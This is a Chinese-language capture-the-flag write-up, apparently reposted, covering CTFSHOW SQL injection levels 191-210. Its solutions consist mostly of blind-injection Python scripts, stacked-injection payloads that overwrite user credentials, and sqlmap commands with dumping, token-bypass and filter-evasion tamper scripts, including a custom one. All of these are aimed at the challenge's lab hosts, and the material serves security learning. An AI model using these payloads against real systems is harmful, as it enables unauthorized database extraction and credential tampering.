CTFSHOW SQL注入篇(191-210)

Posted yu22x

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFSHOW SQL注入篇(191-210)相关的知识,希望对你有一定的参考价值。

文章目录

191

把190脚本里面的ascii改成ord即可

#author:yu22x
import requests
import string
url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):
        #跑库名
        # data=
        #     'username':f"'||if(ascii(substr(database(),i,1))=j,1,0)#",
        #     'password':'1'
        # 

        #跑表名
        # data=
        #     'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),i,1))=j,1,0)#",
        #     'password':'1'
        # 

        #跑列名
        # data=
        #     'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),i,1))=j,1,0)#",
        #     'password':'1'
        # 
        #跑数据
        data=
            'username':f"'||if(ord(substr((select f1ag from ctfshow_fl0g),i,1))=j,1,0)#",
            'password':'1'
        
        r=requests.post(url,data=data)
        if("\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef" in r.text):
            flag+=chr(j)  
            print(flag)
            break

192

直接不用ord了,改成跑字符。
然后把flag里面的大写改成小写就可以了。

#author:yu22x
import requests
import string
url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):

        #跑表名
        # data=
        #     'username':f"'||if((substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),i,1))='chr(j)',1,0)#",
        #     'password':'1'
        # 

        #跑列名
        # data=
        #     'username':f"'||if((substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),i,1))='chr(j)',1,0)#",
        #     'password':'1'
        # 
        #跑数据
        data=
            'username':f"'||if((substr((select f1ag from ctfshow_fl0g),i,1))='chr(j)',1,0)#",
            'password':'1'
        
        r=requests.post(url,data=data)
        if("\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef" in r.text):
            flag+=chr(j)  
            print(flag)
            break

193|194

substr改成mid

#author:yu22x
import requests
import string
url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):

        #跑表名
        # data=
        #     'username':f"'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),i,1))='chr(j)',1,0)#",
        #     'password':'1'
        # 

        #跑列名
        # data=
        #     'username':f"'||if((mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),i,1))='chr(j)',1,0)#",
        #     'password':'1'
        # 
        #跑数据
        data=
            'username':f"'||if((mid((select f1ag from ctfshow_flxg),i,1))='chr(j)',1,0)#",
            'password':'1'
        
        r=requests.post(url,data=data)
        if("\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef" in r.text):
            flag+=chr(j)  
            print(flag)
            break

195

堆叠注入

1;update(ctfshow_user)set`username`=1;
1;update(ctfshow_user)set`pass`=1;

然后直接用户名1密码1登录即可得flag

196

这后台是没有过滤select的。。。。

username=0;select(1);&password=1

197|198|199|200

username=1;show tables;&password=ctfshow_user

201

 python sqlmap.py -u http://3cd2d06d-8a91-4780-9708-ca1809295579.challenge.ctf.show/api/index.php?id=1 -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer="http://3cd2d06d-8a91-4780-9708-ca1809295579.challenge.ctf.show/sqlmap.php"

202

 python sqlmap.py -u http://50301b89-83fd-49d9-9ac6-213f25f4ab5e.challenge.ctf.show/api/index.php -data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer="http://50301b89-83fd-49d9-9ac6-213f25f4ab5e.challenge.ctf.show/sqlmap.php"

203

python sqlmap.py -u http://54c9b877-7ef0-41d8-990a-8d9c943b276d.challenge.ctf.show/api/index.php   --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer="http://54c9b877-7ef0-41d8-990a-8d9c943b276d.challenge.ctf.show/sqlmap.php" --headers="Content-Type: text/plain"

204

python sqlmap.py -u http://df8959d1-8273-4e84-b41a-cdca6cd8a275.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --cookie "UM_distinctid=17f1fb0285e80d-0a18fb33979691-133f685c-13c680-17f1fb0285fcbe; PHPSESSID=282tadlvbd9s4vtkst1ussku6c; ctfshow=b13c7a0b42fb63d27fc43c57ea7ac742"

205|206

--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数
```shell
python sqlmap.py -u http://0cbe047b-0f55-4e80-8eb2-600805d0c5ac.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://0cbe047b-0f55-4e80-8eb2-600805d0c5ac.challenge.ctf.show/api/getToken.php --safe-freq 1

206

基本和上面一样,除了表名列名不同。

python sqlmap.py -u http://9c44aaa3-d089-4bc2-80b2-d9ce5ec97dd3.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://9c44aaa3-d089-4bc2-80b2-d9ce5ec97dd3.challenge.ctf.show/api/getToken.php --safe-freq 1

207

增加了过滤,过滤了空格,可以直接用sqlmap中自带的tamper space2comment.py将空格替换成/**/

python sqlmap.py -u http://f007fd5a-c947-494b-9324-db1d9a9198b6.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://f007fd5a-c947-494b-9324-db1d9a9198b6.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper  space2comment.py

208

和上题没什么不同,虽然过滤了小写的select,但是sqlmap都是使用的大写。

python sqlmap.py -u http://9caa8830-41c0-4d1a-910f-77a94d8ba0e3.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://9caa8830-41c0-4d1a-910f-77a94d8ba0e3.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper  space2comment.py

209

过滤了空格和*可以用%09
简单改下刚才用的space2comment.py

过滤了等号可以用like

equaltolike.py
将=替换为LIKE
python sqlmap.py -u http://64048efe-17d5-4e2e-8ada-9863a9a5543d.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://64048efe-17d5-4e2e-8ada-9863a9a5543d.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx,id,tes --dump --batch --tamper  "space2comment,equaltolike.py"

210

  function decode($id)
    return strrev(base64_decode(strrev(base64_decode($id))));
  

有个decode过程,所以自己写个tamper吧,写完不要忘了放到sqlmap的tamper目录下。

# new.py

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = base64.b64encode(base64.b64encode(retVal[::-1])[::-1])

    return retVal

就按照现有的格式改下就好了。

python sqlmap.py -u http://e89bbc64-fe4e-4e5c-a5c5-b590be33814a.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://e89bbc64-fe4e-4e5c-a5c5-b590be33814a.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx,id,tes --dump --batch --tamper new.py

以上是关于CTFSHOW SQL注入篇(191-210)的主要内容,如果未能解决你的问题,请参考以下文章

CTFSHOW SQL注入篇(171-190)

CTFSHOW SQL注入篇(211-230)

CTFSHOW SQL注入篇(211-230)

CTFSHOW SQL注入篇(231-253)

CTFSHOW SQL注入篇(231-253)

CTFSHOW SQL注入篇(171-190)